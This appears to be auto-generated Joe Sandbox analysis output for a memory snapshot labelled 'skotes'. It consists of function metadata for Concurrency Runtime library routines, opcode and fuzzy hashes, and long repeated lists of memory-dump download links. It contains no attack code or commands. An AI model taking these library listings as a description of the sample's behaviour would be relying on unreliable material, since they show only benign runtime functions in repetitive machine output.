Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: b0908845b83593f03dadfbcea5fc13284794e6f98e2a4730159e729188f7b31d
Instruction ID: cb4f1a291781079d4fd9f41c5bc91a7ac11634827fc298728f32f2196dbca319
Opcode Fuzzy Hash: b0908845b83593f03dadfbcea5fc13284794e6f98e2a4730159e729188f7b31d
Instruction Fuzzy Hash: 19212735B046159BCB54AB6CC895ABCB3E6FF96334F0409AAE411872E1CF68EC41CB90

Function 00B9AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 00B9AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B9AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 00B9AF4E

Strings

pExecutionResource, xrefs: 00B9AF07

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 0edaeb9f77e0f6f21809e1c69ad003384985ac21cb13618f9d1193f2afbe8548
Instruction ID: 5588b73e1c9c90b88b937f10a4c7770aad99d1f7c2a25e29c01dc6845e1050e9
Opcode Fuzzy Hash: 0edaeb9f77e0f6f21809e1c69ad003384985ac21cb13618f9d1193f2afbe8548
Instruction Fuzzy Hash: 802194756402059BCF08FF68C892BADB7E5BF88310F1440A9F505AB392DBB4AE15CB95

Function 00B94EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B94F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00B94F66

Strings

ppVirtualProcessorRoots, xrefs: 00B94F1C
count, xrefs: 00B94EBA

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 62d961dd595c8cc5c781f6b564d0c20e93ba302cb9d86f6ef1a49c3356ee1a59
Instruction ID: b7441faa781801f6a62eeb4eb0c76a562a9c7793b4077ebbda0e7c010390a25f
Opcode Fuzzy Hash: 62d961dd595c8cc5c781f6b564d0c20e93ba302cb9d86f6ef1a49c3356ee1a59
Instruction Fuzzy Hash: 59217135600515EFCF14EFA8C892EAD77F5FF49310F1040ADE506976A1DB71AA02CB51

Function 00B9B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00B9BA0E

Strings

RoUninitialize, xrefs: 00B9B9C1
RoInitialize, xrefs: 00B9B998
combase.dll, xrefs: 00B9B983, 00B9B988, 00B9B99D, 00B9B9C8

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: edff32dd94d64666a2a32f7e7518afb609338dedd85c348e4fe75e1693fbfdd7
Instruction ID: c64c0c6cbdc2a1fe0ddda038d3788462167459add0f2a4ecd507274950e0e0f0
Opcode Fuzzy Hash: edff32dd94d64666a2a32f7e7518afb609338dedd85c348e4fe75e1693fbfdd7
Instruction Fuzzy Hash: 87012220481315A9EF20FBB96D02FAB31CCCF03308F201DBAB540E2281EFA4D80042A6

Function 00B96E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00B96E73

Part of subcall function 00B94E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00B94E7F
Part of subcall function 00B94E6E: List.LIBCMT ref: 00B94E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B96E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00B96EAA

Strings

eventObject, xrefs: 00B96E7D

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 59ae8581583fbbb54e1a2167129bf066e80fcba9fb28f7e2996b31a0982431f3
Instruction ID: 3525c47e26220d2788bc342d4f5d6580deed2f52fa15239073944f4bc4102fb7
Opcode Fuzzy Hash: 59ae8581583fbbb54e1a2167129bf066e80fcba9fb28f7e2996b31a0982431f3
Instruction Fuzzy Hash: 2A11C275940604E6DF24EAA8CD86FEE77E85F01744F2046A9B514E60E1DBB0EA04C665

Function 00B9A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00B9A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00B9A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B9A139

Strings

pScheduler, xrefs: 00B9A131

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
